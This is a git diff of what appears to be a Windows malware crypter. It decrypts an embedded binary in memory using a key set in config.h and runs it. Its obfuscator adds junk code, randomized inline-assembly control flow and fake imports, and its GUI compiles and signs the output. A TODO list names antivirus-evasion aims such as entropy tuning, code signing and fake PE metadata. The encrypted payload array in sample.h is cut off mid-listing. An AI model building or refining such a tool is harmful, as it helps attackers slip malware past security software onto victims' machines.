diff --git a/DllExecutor.vcxproj b/DllExecutor.vcxproj index 24e1836..4a37fac 100644 --- a/DllExecutor.vcxproj +++ b/DllExecutor.vcxproj @@ -100,17 +100,18 @@ Level3 - true - true + false + false true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true stdcpp17 Disabled false + EnableFastChecks - Console + Windows true true false diff --git a/config.h b/config.h index afd5091..1536b53 100644 --- a/config.h +++ b/config.h @@ -1,2 +1,2 @@ #pragma once -#define KEY "sfgsdf" \ No newline at end of file +#define KEY "ygiugefq" \ No newline at end of file diff --git a/gui.py b/gui.py index 85ac2af..fa82698 100644 --- a/gui.py +++ b/gui.py @@ -7,11 +7,28 @@ # WARNING: Any manual changes made to this file will be lost when pyuic5 is # run again. Do not edit this file unless you know what you are doing. +""" +TODO : + - LoadPE (KEKW) + - Good entropy + - Good Section sizes + - Add resources + - Code signing + - Change PE metadata (company, description, etc...) + - Random Windows API calls (help) + +Done : + - RunPE + - Junk code + - Control flow + - IAT obfuscation (adding "normal" imports in addition to the others) +""" from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtWidgets import QApplication from PyQt5.QtCore import QCoreApplication from obfuscation import obfuscate +from sign import sign import os, shutil class Ui_mainWindow(object): @@ -59,11 +76,19 @@ class Ui_mainWindow(object): self.spinBox = QtWidgets.QSpinBox(self.centralwidget) self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22)) self.spinBox.setObjectName("spinBox") - self.spinBox.setValue(5) + self.spinBox.setValue(6) self.spinBox.setMinimum(1) self.label_3 = QtWidgets.QLabel(self.centralwidget) self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13)) self.label_3.setObjectName("label_3") + self.label_4 = QtWidgets.QLabel(self.centralwidget) + self.label_4.setGeometry(QtCore.QRect(120, 142, 47, 13)) + self.label_4.setObjectName("label_4") + self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget) + self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22)) + self.spinBox_2.setObjectName("spinBox_2") + self.spinBox_2.setValue(2) + self.spinBox_2.setMinimum(1) self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget) self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16)) self.checkBox_3.setObjectName("checkBox_3") @@ -94,6 +119,7 @@ class Ui_mainWindow(object): self.label_2.setText(_translate("mainWindow", "")) self.label_2.hide() self.label_3.setText(_translate("mainWindow", "Pass :")) + self.label_4.setText(_translate("mainWindow", "Pass :")) self.checkBox_2.setText(_translate("mainWindow", "Add junk code")) self.checkBox_3.setText(_translate("mainWindow", "Control flow")) @@ -137,16 +163,11 @@ class Ui_mainWindow(object): with open("config.h", "w") as c : c.write(f'#pragma once\n#define KEY "{xor_key}"') - if self.cflow : # Make control flow stuff - pass - - if self.junk : # Add junk code - self.label_2.setText("Adding junk code...") - QCoreApplication.processEvents() - print(self.spinBox.value()) - obfuscate(self.spinBox.value()) - self.label_2.setText("done.") - QCoreApplication.processEvents() + self.label_2.setText("Adding junk code...") + QCoreApplication.processEvents() + obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk) + self.label_2.setText("done.") + QCoreApplication.processEvents() self.label_2.setText("Compiling...") QCoreApplication.processEvents() @@ -154,14 +175,24 @@ class Ui_mainWindow(object): vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe" - os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild") + return_code = os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild") + + if return_code : + self.label_2.setText("build failed.") + QCoreApplication.processEvents() + else : + self.label_2.setText("Signing the file...") + QCoreApplication.processEvents() + sign(out_filename) + # Cleaning up.. os.remove("main.cpp") os.rename("DO_NOT_TOUCH.cpp", "main.cpp") - self.label_2.setText(f"--> {out_filename}") - QCoreApplication.processEvents() - + if not return_code : + self.label_2.setText(f"--> {out_filename}") + QCoreApplication.processEvents() + def fileDialog(self): options = QtWidgets.QFileDialog.Options() options |= QtWidgets.QFileDialog.ReadOnly diff --git a/main.cpp b/main.cpp index 5ab067f..3c80fd2 100644 --- a/main.cpp +++ b/main.cpp @@ -241,13 +241,25 @@ void decrypt(const char* key) { //END } -int main(void) -{ +void allo() { //START - AllocConsole(); FILE* fp; freopen_s(&fp, "CONOUT$", "w", stdout); // output only + //END +} + +#ifdef _DEBUG +int main(void) +#else +int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) +#endif +{ + //START + +#ifdef _DEBUG + allo(); +#endif DEBUG_PRINTF("[+] Started\n"); // Load the DLL from a buffer in memory diff --git a/obfuscation.py b/obfuscation.py index 7fda332..6662634 100644 --- a/obfuscation.py +++ b/obfuscation.py @@ -1,54 +1,15 @@ import os, string, re +from randomness import * """ Creates : - Random variables (local and globals) - Random operations on globals + - Random function definitions + - Random function calls + - Random control flow """ -def GetRandomBool() : - result = os.urandom(3) - r= sum(result) < 381.04 - return r #average - -def GetRandomNumber() : - result = os.urandom(4) - return int(sum(result)) - -def GetRandomRange(a, b): - if a > b: - a, b = b, a # Swap a and b if a is greater than b - - range_size = b - a + 1 # Calculate the size of the range - - # Calculate the number of bits required to represent all values in the range - num_bits = 0 - while 2 ** num_bits < range_size: - num_bits += 1 - - # Generate a random number in binary representation using GetRandomBool() - random_binary = [GetRandomBool() for _ in range(num_bits)] - - # Convert the binary representation to an integer within the specified range - random_integer = 0 - for i, bit in enumerate(random_binary): - random_integer += bit * (2 ** i) - - # Map the generated integer to the desired range [a, b] - mapped_value = a + random_integer - if mapped_value > b : return GetRandomRange(a, b) - - return mapped_value - -def GetRandomString(l) : - letters = string.ascii_lowercase - s = "" - while len(s) < l : - r = GetRandomRange(0, len(letters)-1) - s += letters[r] - - return s - types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"] operations = ["-", "+", "^", "*", "/"] global_vars = {} @@ -59,7 +20,7 @@ def GetRandomVar() : global global_vars global in_func vtype = types[GetRandomRange(0, len(types)-1)] - vname = GetRandomString(10) + vname = GetRandomString(15) t = vtype + " " + vname + " = " val = str(GetRandomNumber()) @@ -95,7 +56,7 @@ def GetRandomOperation() : def GetRandomFunction() : global functions - name = GetRandomString(6) + name = GetRandomString(15) functions.append(name) body = "int "+name+"(const char* a1) {\n" @@ -109,9 +70,50 @@ def CallRandomFunction() : if len(functions) < 1 : return "" sub = functions[GetRandomRange(0, len(functions)-1)] - return "int " + GetRandomString(6) + " = " + sub + "(\""+GetRandomString(5)+"\");" + return "int " + GetRandomString(15) + " = " + sub + "(\""+GetRandomString(10)+"\");" -def obfuscate(PASS) : +def GetAsmBlock(branch1, branch2, var, end, sub) : + asm_block = """\n\t\tcmp eax, """+str(GetRandomNumber())+""" + jne """+branch1+""" + jmp """+branch2+""" + """+branch1+""":""" + + + if GetRandomRange(0, 4) > 1 : + branch1 = GetRandomString(20) + branch2_ = GetRandomString(20) + asm_block += GetAsmBlock(branch1, branch2_, var, end, sub) + + asm_block += "\n\t"+branch2+":\n\t\tmov eax, "+var+"\n\t\tcall "+sub + + return asm_block + +def GetRandomAssemblyBlock() : + global functions + if len(functions) < 1 : return "" + sub = functions[GetRandomRange(0, len(functions)-1)] + + branch1 = GetRandomString(20) + branch2 = GetRandomString(20) + end = GetRandomString(20) + var = GetRandomString(15) + + r = """const char* """+var+""" = \""""+GetRandomString(5)+"""\";\n__asm {""" + + for i in range(GetRandomRange(0, 30)) : + branch1 = GetRandomString(20) + branch2 = GetRandomString(20) + end = GetRandomString(20) + r += GetAsmBlock(branch1, branch2, var, end, sub) + + r += """\n};""" + return r + +def obfuscate(PASS, CFLOW_PASS, cflow, junk) : + if PASS < CFLOW_PASS : PASS = CFLOW_PASS + + if not cflow and not junk : PASS = 0 + global global_vars global functions global in_func @@ -120,24 +122,37 @@ def obfuscate(PASS) : f = open("DO_NOT_TOUCH.cpp", "r") o = open("main.cpp", "w") - + out = [] + lines = f.readlines() for k in range(PASS) : in_comment = False in_switch = False in_asm = False - in_func_delay = False + wait_for_func_close = False global_vars = {} functions = [] out = [] + idx = 0 for line in lines : + idx += 1 out.append(line) - if in_func_delay and "}" in line : + if idx+1 < len(lines)-1 and "//END" in lines[idx+1] or "//END" in line: in_func = False - in_func_delay = False - elif in_func_delay : continue - + wait_for_func_close = True + print(f"continue1 {in_func} {line}") + continue + if wait_for_func_close and "}" in line : + in_func = False + wait_for_func_close = False + print(f"continue2 {in_func} {line}") + continue + if wait_for_func_close : + print(f"continue3 {in_func} {line}") + continue + + print(in_func, line) if "//START" in line : in_func = True if "/*" in line : in_comment = True elif "*/" in line : in_comment = False @@ -155,10 +170,10 @@ def obfuscate(PASS) : if b or a or in_comment or in_switch or in_asm : continue # we can't write - if GetRandomBool() : # do we create a variable ? + if GetRandomBool() and junk : # do we create a variable ? out.append(GetRandomVar()+"\n") - if GetRandomBool() and in_func : # do we do an operation on globals ? + if GetRandomBool() and in_func and junk: # do we do an operation on globals ? out.append(GetRandomOperation()+"\n") if GetRandomBool() and not in_func : # do we create a function ? @@ -166,9 +181,70 @@ def obfuscate(PASS) : if GetRandomBool() and in_func : # do we call a function ? out.append(CallRandomFunction()+"\n") - - if "//END" in line : in_func_delay = True + + if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ? + out.append(GetRandomAssemblyBlock()+"\n") lines = out + fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n +#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n +#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n +#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n +#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n +#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n +#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n +#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n +#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n +#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n""" + + static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n +(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n +(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n +(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n +(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n +(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n +(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n +(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n +(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n +(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n +(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n +(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n +(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n +(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n +(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n +(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n +\r\n +DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n +\r\n +DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n +\r\n +DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n +(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n +\r\n""" + + fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n +#pragma comment(lib,\"Comdlg32.lib\")\r\n +#pragma comment(lib,\"UrlMon.lib\")\r\n +#pragma comment(lib,\"Shell32.lib\")\r\n +#pragma comment(lib,\"oledlg.lib\")\r\n +#pragma comment(lib,\"Ole32.lib\")\r\n +#pragma comment(lib,\"AdvApi32.lib\")\r\n +#pragma comment(lib,\"WinInet.lib\")\r\n +#pragma comment(lib,\"Gdi32.lib\")\r\n +#pragma comment(lib,\"WS2_32.lib\")\r\n +#pragma comment(lib,\"opengl32.lib\")\r\n""" + + fake_includes = """#include \r\n +#include \r\n +#include \r\n +#include \r\n +#include \r\n +#include \r\n +#include \r\n""" + + out.insert(0, fake_api) + out.insert(0, static_imports) + out.insert(0, fake_libs) + out.insert(0, fake_includes) o.writelines(out) \ No newline at end of file diff --git a/randomness.py b/randomness.py new file mode 100644 index 0000000..634ecb2 --- /dev/null +++ b/randomness.py @@ -0,0 +1,44 @@ +import os, string + +def GetRandomBool() : + result = os.urandom(3) + r= sum(result) < 381.04 + return r #average + +def GetRandomNumber() : + result = os.urandom(4) + return int(sum(result)) + +def GetRandomRange(a, b): + if a > b: + a, b = b, a # Swap a and b if a is greater than b + + range_size = b - a + 1 # Calculate the size of the range + + # Calculate the number of bits required to represent all values in the range + num_bits = 0 + while 2 ** num_bits < range_size: + num_bits += 1 + + # Generate a random number in binary representation using GetRandomBool() + random_binary = [GetRandomBool() for _ in range(num_bits)] + + # Convert the binary representation to an integer within the specified range + random_integer = 0 + for i, bit in enumerate(random_binary): + random_integer += bit * (2 ** i) + + # Map the generated integer to the desired range [a, b] + mapped_value = a + random_integer + if mapped_value > b : return GetRandomRange(a, b) + + return mapped_value + +def GetRandomString(l) : + letters = string.ascii_lowercase + s = "" + while len(s) < l : + r = GetRandomRange(0, len(letters)-1) + s += letters[r] + + return s \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..5d26906 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +OpenSSL +pywin32==302 \ No newline at end of file diff --git a/sample.h b/sample.h index 3d2e522..ed83d75 100644 --- a/sample.h +++ b/sample.h @@ -1,545 +1,545 @@ -unsigned char sample[] = { 0x3e, 0x3c, 0xf7, 0x73, 0x67, 0x66, 0x73, 0x66, 0x63, 0x73, 0x64, 0x66, 0x8c, 0x99, 0x67, 0x73, -0xdc, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x33, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0xa3, 0x66, 0x67, 0x73, -0x6a, 0x79, 0xc9, 0x68, 0x67, 0xc7, 0x6d, 0xab, 0x52, 0xde, 0x66, 0x3f, 0xa9, 0x47, 0x27, 0x0e, -0x0e, 0x00, 0x44, 0x16, 0x01, 0x09, 0x00, 0x01, 0x05, 0x0b, 0x53, 0x05, 0x06, 0x1d, 0x0a, 0x09, -0x07, 0x46, 0x05, 0x16, 0x44, 0x14, 0x06, 0x08, 0x47, 0x1a, 0x0a, 0x46, 0x37, 0x29, 0x34, 0x53, -0x09, 0x09, 0x17, 0x03, 0x49, 0x7e, 0x69, 0x6c, 0x57, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0xa6, 0x7e, 0x62, 0x81, 0xf6, 0x0a, 0x0f, 0xc7, 0xe1, 0x0a, 0x1b, 0xd2, 0xe2, 0x1f, 0x0c, 0xd2, -0xe2, 0x61, 0x0e, 0xc6, 0xe2, 0x0a, 0x1b, 0xd2, 0xe2, 0x1f, 0x0d, 0xd2, 0xfb, 0x0a, 0x0f, 0xc7, -0x10, 0x7d, 0x1f, 0xd3, 0xe3, 0x1f, 0x0c, 0xd2, 0x07, 0x7d, 0x0d, 0xc6, 0xe0, 0x0a, 0x1b, 0xd2, -0x35, 0x1a, 0x07, 0x0e, 0xf6, 0x0a, 0x0f, 0xc7, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x34, 0x23, 0x73, 0x66, 0x2b, 0x72, 0x60, 0x66, 0x5d, 0x66, 0x21, 0x11, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x93, 0x66, 0x65, 0x52, 0x6f, 0x67, 0x7d, 0x78, 0x67, 0x77, 0x64, 0x66, -0x73, 0x7c, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x17, 0x62, 0x64, 0x66, 0x73, 0x76, 0x67, 0x73, -0x64, 0x46, 0x73, 0x66, 0x67, 0x73, 0x64, 0x76, 0x73, 0x76, 0x67, 0x73, 0x64, 0x64, 0x73, 0x66, -0x61, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x62, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x06, 0x67, 0x73, 0x64, 0x62, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x71, 0x66, 0x27, 0x76, -0x64, 0x66, 0x63, 0x66, 0x67, 0x63, 0x64, 0x66, 0x73, 0x66, 0x77, 0x73, 0x64, 0x76, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x63, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x33, 0x47, 0x67, 0x73, 0x4c, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x23, 0x64, 0x66, 0x4b, 0x66, 0x67, 0x73, 0x5c, 0x46, 0x73, 0x66, 0x7b, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x46, 0x73, 0x66, 0x5f, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x5d, 0x12, 0x02, 0x0b, 0x10, 0x66, 0x73, 0x66, -0xf2, 0x71, 0x64, 0x66, 0x73, 0x76, 0x67, 0x73, 0x64, 0x62, 0x73, 0x66, 0x67, 0x77, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x53, 0x66, 0x67, 0x13, -0x4a, 0x14, 0x17, 0x07, 0x13, 0x12, 0x64, 0x66, 0xeb, 0x64, 0x67, 0x73, 0x64, 0x46, 0x73, 0x66, -0x67, 0x77, 0x64, 0x66, 0x73, 0x6e, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x24, 0x66, 0x73, 0x26, 0x49, 0x17, 0x05, 0x12, 0x12, 0x66, 0x67, 0x73, -0x4d, 0x74, 0x73, 0x66, 0x67, 0x43, 0x64, 0x66, 0x73, 0x72, 0x67, 0x73, 0x64, 0x6a, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x27, 0x73, 0x64, 0xa6, -0x5d, 0x14, 0x02, 0x1f, 0x0b, 0x05, 0x73, 0x66, 0x5f, 0x73, 0x64, 0x66, 0x73, 0x36, 0x67, 0x73, -0x64, 0x64, 0x73, 0x66, 0x67, 0x53, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x33, 0x66, 0x67, 0x31, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x31, 0xed, 0x9f, 0xe5, 0x8b, 0x7b, 0xef, 0x23, 0x7b, 0xef, 0x22, 0x8b, 0xa3, 0x23, 0x8f, 0x66, -0x67, 0x73, 0x64, 0xa1, 0x36, 0x9a, 0x67, 0x73, 0x64, 0x66, 0x98, 0x6f, 0xec, 0x3e, 0x98, 0xe5, -0xb2, 0x67, 0xee, 0x3e, 0x98, 0xed, 0x26, 0x9a, 0x5c, 0x26, 0x68, 0x15, 0x62, 0xed, 0x22, 0x8b, -0xa2, 0x66, 0x73, 0xed, 0x2a, 0x8b, 0xe7, 0xa7, 0x72, 0xef, 0x2a, 0x8b, 0x8f, 0xb8, 0xf8, 0x83, -0x3a, 0xb0, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, 0xbf, 0xaa, 0xab, 0xbf, 0xa8, 0xaa, -0x26, 0xed, 0x8b, 0xf2, 0x88, 0x4e, 0x70, 0x66, 0x67, 0x19, 0x20, 0xeb, 0x36, 0xc2, 0x37, 0x9b, -0xf8, 0x99, 0x8c, 0x99, 0xe4, 0xb7, 0x6c, 0xa1, 0x36, 0xc2, 0x23, 0x73, 0x64, 0x66, 0x9b, 0x4b, -0x66, 0x73, 0x64, 0xe3, 0xb3, 0x69, 0xe3, 0x90, 0x64, 0x66, 0x73, 0xeb, 0x2a, 0x9b, 0x35, 0xeb, -0x26, 0xc2, 0x35, 0x19, 0x64, 0x0c, 0x73, 0x0e, 0x23, 0x73, 0x64, 0x67, 0x19, 0x67, 0x0d, 0x73, -0x0e, 0x66, 0x1b, 0x6a, 0x25, 0x73, 0x74, 0x0c, 0x73, 0x99, 0x72, 0x6f, 0x44, 0x66, 0x63, 0xef, -0x22, 0x8f, 0xe7, 0x1b, 0x8f, 0x66, 0x12, 0x57, 0xe9, 0x23, 0x9b, 0x36, 0xea, 0x3e, 0xc0, 0x37, -0x19, 0x66, 0x0d, 0x73, 0x0e, 0x22, 0x19, 0x67, 0x0d, 0x73, 0x0e, 0x66, 0x1b, 0x7a, 0x25, 0x73, -0x74, 0x0c, 0x73, 0x99, 0x72, 0x6f, 0x44, 0x66, 0x63, 0xef, 0x22, 0x8f, 0xe7, 0x1b, 0x8f, 0x66, -0x68, 0xf7, 0xec, 0x66, 0x73, 0x66, 0xa0, 0xf6, 0xbc, 0x9a, 0x8c, 0x99, 0x64, 0x73, 0x65, 0x66, -0xfe, 0xf3, 0xbf, 0x8f, 0x9b, 0x99, 0x21, 0xed, 0x22, 0x9f, 0x34, 0x99, 0x66, 0x46, 0x47, 0x73, -0x74, 0x0c, 0x33, 0x0e, 0x67, 0x63, 0x64, 0x66, 0x1b, 